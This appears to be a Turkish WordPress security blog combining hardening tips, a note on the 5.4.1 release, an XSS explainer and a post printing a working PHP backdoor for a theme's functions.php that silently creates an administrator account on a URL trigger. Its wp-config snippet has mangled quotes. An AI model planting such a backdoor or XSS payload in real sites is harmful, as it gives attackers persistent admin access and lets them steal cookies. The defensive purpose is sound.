WordPress Güvenlik Önlemleri

WordPress dünyada en çok kullanılan güncel, içerik yönetim sistemi yani CMS olduğunu biliyorsunuzdur. Popüler olmanın internet ortamında bir hedef olduğu geçmişten günümüze kadar aşikardır. Bugün popülerliğini hızla arttıran cms yazılımımıza wordpress güvenlik önlemlerinden bahsedeceğim.

Ne Kadar Az Eklenti O Kadar Optimizasyon ! 

İlkesini benimsemiş birisi olarak zorunlu kalmadıkça eklenti önermiyorum. Her neyse hemen wordpress güvenlik önlemlerinin en büyük adımı kişisel güvenliğiniz ile başlayalım.

1 – KİŞİSEL GÜVENLİĞİNİZİ ALIN: 

Evet siz hacklenirseniz size ait olan her şey hacklenir.. Kısaca bilgisayarınız ya da telefonunuz trojan, keylogger gibi zararlı yazılımlardan korunmalıdır. 2 Adımlı doğrulamayı her yerde kullanmaya özen gösterin. Bilgisayarınız da ve telefonunuz da kesinlikle antivirüs programı yüklenmelidir. Bu maddeyi fazla detaylandırmayacağım girersek çıkamayız 🙂 Kısacası en iyi antivirüs sizin kendiniz olduğunu unutmayın yeter.

2 – WORDPRESS YAZILIMINI SÜREKLİ GÜNCEL TUTUN:

WordPress üzerinde her gün yeni exploitler ( sistemsel açıklar ) piyasaya çıkıyor. WordPress bunu engellemek ve kendini geliştirmek için sürekli güncelleme gönderiyor.

Admin panelinize giriş yaptıktan sonra Başlangıç > Güncellemeler diyerek güncel olmayan ögeleri görebilir ve güncelleyebilirsiniz.

3 – 2 ADIMLI DOĞRULAMA KOYUN:

Benim kullandığım eklenti olan Google Authenticator ile kullanıcı adınızı ve şifrenizi bilseler dahil admin panelinize kimse sızamaz. Eklentiyi kullanmak için telefonunuza Authenticator uygulamasını indiriyorsunuz ve Google Authenticator eklentisini entegre ederek kullanıyorsunuz. Yani telefonunuz olmadan kimse panelinize giremez. Tabi hem telefonu hem şifrelerinizi çaldırmazsanız 🙂

4 – WORDPRESS ADMİN PANELİNİN YOLUNU DEĞİŞTİRME:

Admin panelinize girmek için kullandığını siteadresiniz.com/wp-admin ya da wp-login.php yi değiştirmenizi öneririm kesinlikle.

.htaccess ile eklenti olmadan da önceden çok rahatlıkla admin panelini değiştirebiliyorduk. Fakat htaccess ile panel değiştirdiğimizde çok kolay bulunabiliyor. Bunun için en güvenli ve en çok tercih edilen wordpress admin panelinin yolunu değiştirme eklentisi olan WPS Hide Login kullanmanızı tavsiye ediyorum.

5 – WORDPRESS wp-config.php ( DATABASE ) DOSYASINI SAKLAMA:

Ana dizinde (public_html) bulunan wp-load.php dosyası var. Ftp ya da cpanel ile bağlanıp wp-load.php dosyasını editleyebiliriz.



 if ( file_exists( ABSPATH . ‘belirlediginizdosyayolu/wp-config.php’) ) {

/** The config file resides in ABSPATH */
require_once( ABSPATH . ‘ ‘belirlediginizdosyayolu/wp-config.php ‘ );

} elseif ( file_exists( dirname(ABSPATH) . ‘ ‘belirlediginizdosyayolu/wp-config.php ‘ ) && ! file_exists( dirname(ABSPATH) . ‘/wp-settings.php’ ) ) {

/** The config file resides one level above ABSPATH but is not part of another install*/
require_once( dirname(ABSPATH) . ‘ ‘belirlediginizdosyayolu/wp-config.php /wp-config.php’ );

 


belirlediginizdosyayolu” kısmını siz wp-config.php nereye attıysanız öyle değiştirmelisiniz.

İşlem bu kadar wp-config.php yolunu değiştirmiş oluyorsunuz. Böylelikle hackerların sizin database bilgilerinize ulaşmasını engelliyorsunuz.

Bu işlem %100 güvenlik tabi ki sağlamaz fakat karşı tarafın işini oldukça zorlaştıracaktır.

6- WORDPRESS SÜRÜMÜNÜ GİZLEME:

WordPress sürümünüzü sürekli güncel tutmanız gerektiğini söylemiştik. Ama sürüm güncellediği an itibari ile saniyesinde sürümünüzü güncelleyemeyeceğinizden dolayı WordPress Sürümünü Gizleme işlemini kesinlikle yapmanızı tavsiye ederiz. Şöyle ki bir çok exploit-açık çıktığında wordpress belli sürümlerinde çıkar. Bunu saldırgan göremezse sitenize saldırı yapacağı yollardan bir tanesini kesinlikle kapatmış olacaksınız.

Functions.php Bulmak İçin Cpanel Ya Da Ftp’den : public_html/wp-content/themes/kullandıgınıztemaismi/functions.php

Kullandığınız temanın içerisinde functions.php dosyası vardır onu açarak şu kodları eklemeniz wordpress sürümünüzü gizleyecektir.


function wp_version_remove_version() {
return '';
}
add_filter('the_generator', 'wp_version_remove_version');

 

7- DOSYA DÜZENLEMEYİ KAPATMA:

WordPress sitelerin admin yetkilerinde dosya düzenleme default olarak açık gelir. Yani admin panelinize sızan birisi istediği dosyaya zararlı yazılım ( shell, backdoor vs ) bırakabilir. Böylelikle sisteminizi gerçekten hacklemiş olacaktır. Bunun önüne geçmek için wordpress dosya düzenlemeyi kapatmanızı şiddetle öneriyorum.

Database bilgilerinizin bulunduğu wp-config.php dosyasına aşağıda verdiğim kodları eklediğinizde admin panelinize sızılsa dahil Görünüm > Tema Düzenleyici ya da Eklenti Düzenleyici kısımlarında dosya editlemesi – yani dosya düzenlenmesi tamamen kapanacaktır.


define( 'DISALLOW_FILE_EDIT', true );

8- XML-RPC’Yİ DEVRE DIŞI BIRAKMA:

XML-RPC, HTTP’nin bir tür taşıma-iletme mekanizmasını ve XML’nin kodlama mekanizması şeklinde çalışarak veri transferine imkan tanıyan bir wordpress yazılımının özelliğidir. Kısacası BRUTE FORCE ( kaba kuvvet ) saldırısına olanak sağlayan bir köprüdür. Bunu engellemek için devre dışı bırakılması şarttır.

Disable XML-RPC eklentisi ile xml-rpc’yi eklenti ile devre dışı bırakabilirsiniz.

2. Yol ise .htaccess dosyasına verdiğim kodlarınızı ftp ya da cpanel aracılığıyla eklerseniz de kapanır.


# Block WordPress xmlrpc.php requests
<Files xmlrpc.php>
order deny,allow
deny from all
allow from 123.123.123.123
</Files>

Genel hatlarıyla bunları yapmanızı öneriyorum. Peki bu kadarla sınırlı mıdır WordPress Güvenlik Önlemleri diyecek olursanız tabi ki hayır.. Kısaca bunların dışında wordpress güvenliği için şunları da yapmanızı tavsiye ediyorum.

  • Nulled yani kaçak-crackli wordpress temaları ve eklentileri asla kullanmayın.
  • Güvenilir hosting kullanmanızı öneriyorum.
  • PHP sürümünüzü sürekli güncel tutunuz.
  • Olabildiğince fazla yedek almaya çalışın.
  • Kullanılmayan tema ve eklentilerinizi kaldırın.
  • HTTPS protokolüne geçiş yapın. ( Cloudflare ile ücretsiz ssl konuma bakabilirsiniz )
  • WordPress Güvenlik Eklentilerini kullanabilirsiniz.

Umarım en çok hacklenen ama en güvenlikli diyebileceğim CMS sistemi olan WordPress siteleriniz hiçbir zaman hacklenmez 🙂

WordPress güvenlik konusunda daha detaylı bilgi için benimle iletişime geçebilirsiniz.

WordPress Güvenlik Açığı Güncellemesi

WordPress, birden fazla Siteler arası komut dosyası (XSS) güvenlik açığını gidermek için yazılımını yamaladı. XSS ve Authenticated XSS olmak üzere iki tür vardır.

WordPress, on yedi hata düzeltmesini ve yedi güvenlik açığını gideren bir güncelleme duyurdu. WordPress siteleri otomatik olarak WordPress 5.4.1 sürümüne güncelliyor.

WordPress kurulumunuzun WordPress 5.4.1 sürümüne güncellenip güncellenmediğini kontrol etmek önemlidir.

Tüm Siteler Otomatik Olarak Güncellenmez

WordPress, WordPress 3.7 ve üstü WordPress kurulumlarının otomatik olarak güncellendiğini duyurdu. Bu, 3.7’den düşük WordPress kurulumlarının otomatik olarak güncellenmediği anlamına gelir.

Resmi WordPress duyurusuna göre:

“Bu güvenlik ve bakım sürümünde 7 güvenlik düzeltmesinin yanı sıra 17 hata düzeltmesi bulunuyor. Bu bir güvenlik sürümü olduğundan, sitelerinizi hemen güncellemeniz önerilir. ”

 

Kaynak : https://wordpress.org/news/2020/04/wordpress-5-4-1/

 

WordPress Backdoor Nedir

Bugün sizlere wordpress backdoor ile wordpress sitelerine backdoor (arka kapı) olarak yeni admin eklemeden bahsedeceğim.

Yönettiğim bir wordpress sitesinde güvenlik denetimi yaparken hiç alışık olmadığım bir kod ile karşılaştım. Bu kodu detaylıca araştırırken gönderdiği girdi ile yeni bir admin oluşturduğunu fark ettim. Bu bahsettiğim kod firefox, chrome gibi normal bir web tarayıcısını kullanarak belirli bir url’ye erişiyor ve tetiklenmesi ile çok basit ama güçlü bir php betiği olduğunu farkettim.

WordPress backdoor tetiklendikten sonra, websitesinde kötü niyetli bir kullanıcının istediği zaman wordpress kurulumuna yeniden erişebilir, yönetici rolüne sahip yeni bir wordpress kullanıcısını otomatik olarak oluşturabilir. Bu yazıda backdoor oluşturan koda bir göz atacağız ve nasıl çalıştığını anlatacağım.

NOT*** : Bu makale SADECE eğitim amaçlıdır. Aslında kimsenin wordpress kurulumunda böyle bir bacdoor (arka kapı) kullanmasını önermiyorum.

WordPress Backdoor

WordPress backdoor aşağıdaki örnekte yer almaktadır. WordPress temasının function.php dosyasına eklenebilen basit bir PHP işlevidir.

<?php
add_action('wp_head', 'WordPress_backdoor');
 
function WordPress_backdoor() {
    If ($_GET['arka'] == 'kapi') {
        require('wp-includes/registration.php');
        If (!username_exists('backdooradmin')) {
            $user_id = wp_create_user('backdooradmin', '123123123');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}
?>

WordPress Backdoor, https://veomer.com?arka=kapi URL’sine erişerek tetiklenebilir ( veomer.com sitesinin function.php dosyasına üstte yer alan kod eklenmişse – Denemeyin eklemedim 🙂 .. )

 

WordPress Backdoor Nasıl Çalışır ?

Yukarıdaki örneği kullanarak, wordpress backdoor tetiklendiğinde, aşağıdaki bilgiler ile yeni bir wordpress yönetici hesabı oluşturur:

Kullanıcı Adı : backdooradmin

Şifre : 123123123

 

WordPress Backdooru Kullanma

Herhangi bir nedenden dolayı wordpress backdooru kullanmak isterseniz eğer yukarıdaki örnekte belirtilenlerden farklı bir URL kullanın. ( GET değişkenini 5.satırdaki değeri değiştirerek ve ayrıca güçlü bir kullanıcı adı, şifre kullanın onu da 8.satırdaki bilgileri kullanarak..

NOT*** : Tekrar belirtmek isterim ki bu backdoor kullanmanızı önermiyorum. Bu bilgileri sadece eğitim ve güvenlik amaçlı paylaşıyorum. Birinin böyle bir backdoor oluşturması için wordpress dosyalarınızda editleme yetkisi olması lazım. Genellikle ftp bilgileri ile bu girişim yapılabilir. Herhangi bir güvenlik tehdidi ile karşı karşıya iseniz tema dosyanızın içerisinde yer alan function.php dosyasını kontrol etmeyi unutmayınız !

WordPress güvenliği konusunda profesyonel desteğe ihtiyacınız varsa : omer@vegory.com adresinden bana ulaşabilirsiniz.

XSS Nedir ?

Xss (Cross Site Scripting) JavaScript ve HTML filtrelerinin eksik olduğu zamanlarda kullanıcının girdileri ile oluşan bir zaafiyettir.

Tam kelime anlamı olarak ise: siteler arası komut çalıştırma / çapraz kod çalıştırma olarak bilinen genelde web uygulamalarında rastlanan, kullanıcıların (saldırganların) tarayıcısında zarar verecek kodları ekleme yaparak oluşan bir saldırıdır.

Javascript, Html ve Css tarayıcı tarafından yorumlanan dillerden olduğu için girdi edilen kod doğrudan diğer kullanıcıları da etkileyebilir ve sisteme ciddi zararlar verebilir !

XSS 3 FARKLI DALDA İNCELENİR

1-> Reflected XSS

2-> DOM Based XSS

3-> Stored XSS

REFLECTED XSS NEDİR ?

Giriş alanlarına veya url alanlarına yapılan xss saldırısıdır.Bu saldırı sadece saldırgan tarafından görülür ve diğer kullanıcılar bu saldırıyı göremezler. Genellikle reflected xss saldırılarında girdiler veritabanına yazılmaz.

Örnek olarak herhangi bir girdi yazılabilecek url linkine : <script>alert(1)</script> kodu yazarak “1” diye ekrana hata alırız.

DOM BASED XSS NEDİR ?

Dom (Document Object Model) “Belge Nesnesi Modeli” olarak geçmektedir. Yani bir belge içerisinde bulunan nesnelerden kaynaklıdır diyebiliriz bu xss saldırısına. Biraz daha açmak gerekirse: kullandığımız tarayıcılar internetteki sayfaları bil belge olarak görür ve bu sayfaların (belgelerin) içerisinde yer aldığı tüm elemanları da nesne olarak görür. Bu nesnelere örnek vermek gerekirse: resimler, yazılar, formlar, testler gibi tüm elemanlar… Evet bu dom xss bu nesnelere müdahale etmemizi sağlar.

Ancak şunu bilmek de fayda var: DOM tabanlı xss saldırı esnasında HTML kaynağı ve dönen cevap tamamen aynı olacaktır. Çünkü dom xss sayfada bulunmaz – nesne tabanlı xss – sadece runtime esnasında veya sayfaların dom’u incelenirken gözlemlenebilmektedir..

STORED XSS NEDİR ?

Stored xss türünde ise kullanıcının (saldırganın) girdiği zararlı kod veritabanında veya bir sayfada tutulur. Bu kodlar sonrasında bu sayfalar ziyaret edildiğinde çalıştırılmış olur. EN ZARARLI XSS TÜRÜDÜR. Çünkü chrome, firefox gibi bir çok tarayıcı default ayarlarında gerekli önlemleri alamaz. Bu xss türünün genellikle websitelerinin iletişim, kayıt, mesaj formlarında bulunduğunu unutmayalım.

NOT*** : Xss türlerini 2’ye ayıran uzmanlarda vardır. Anlık değişiklik gösteren ya da database, dosya gibi yerlerde tutulan olarak. Ama ben olayın tam anlamıyla anlanması için 3’e ayrılması taraftarıyım.

Xss türlerinden bahsettiğimize göre olayın daha detaylı ve mantığının kavranması gerektiği için Xss ile cookie çalmakdan bahsedeceğim.

XSS İLE COOKİE ÇALMA 

Yazımızın başında da söylediğim gibi xss ile javascript çalıştırabiliriz. Yani javascript ile uygulamada-websitesinde neye erişim varsa oraya müdahale edebiliriz. Buna document.cookie nesnesi en iyi örnektir…

** adresine girip üye olduğunuz takdir de size bir çok payloadı hazır halde verir. Burada verdiği “Basic XSS payload” ile bir çok bilgiye ulaşabiliriz. Örnek olması amacıyla bu kodu filtrelenmemiş bir yere atıp yönetici tarafından görüntülendiğin de – çalıştığında – anlık görüntü, cookieler, html kaynak kodu gibi birçok değere ulaşabiliriz ve yönetici yetkisini alabiliriz.

Ama unutulmaması gerekir ki bu site sadece test amaçlı, eğitim amaçlı açılmıştır. Zararlı saldırı girişlerinde üyeliğiniz silinir..

Xss konusuna genel bir bakış yaptığımızı düşünüyorum bu konuda. İlerleyen günler de daha detaylı makaleleri paylaşacağım. Takip de kalın..

Daha detaylı bilgilendirme için kaynaklar: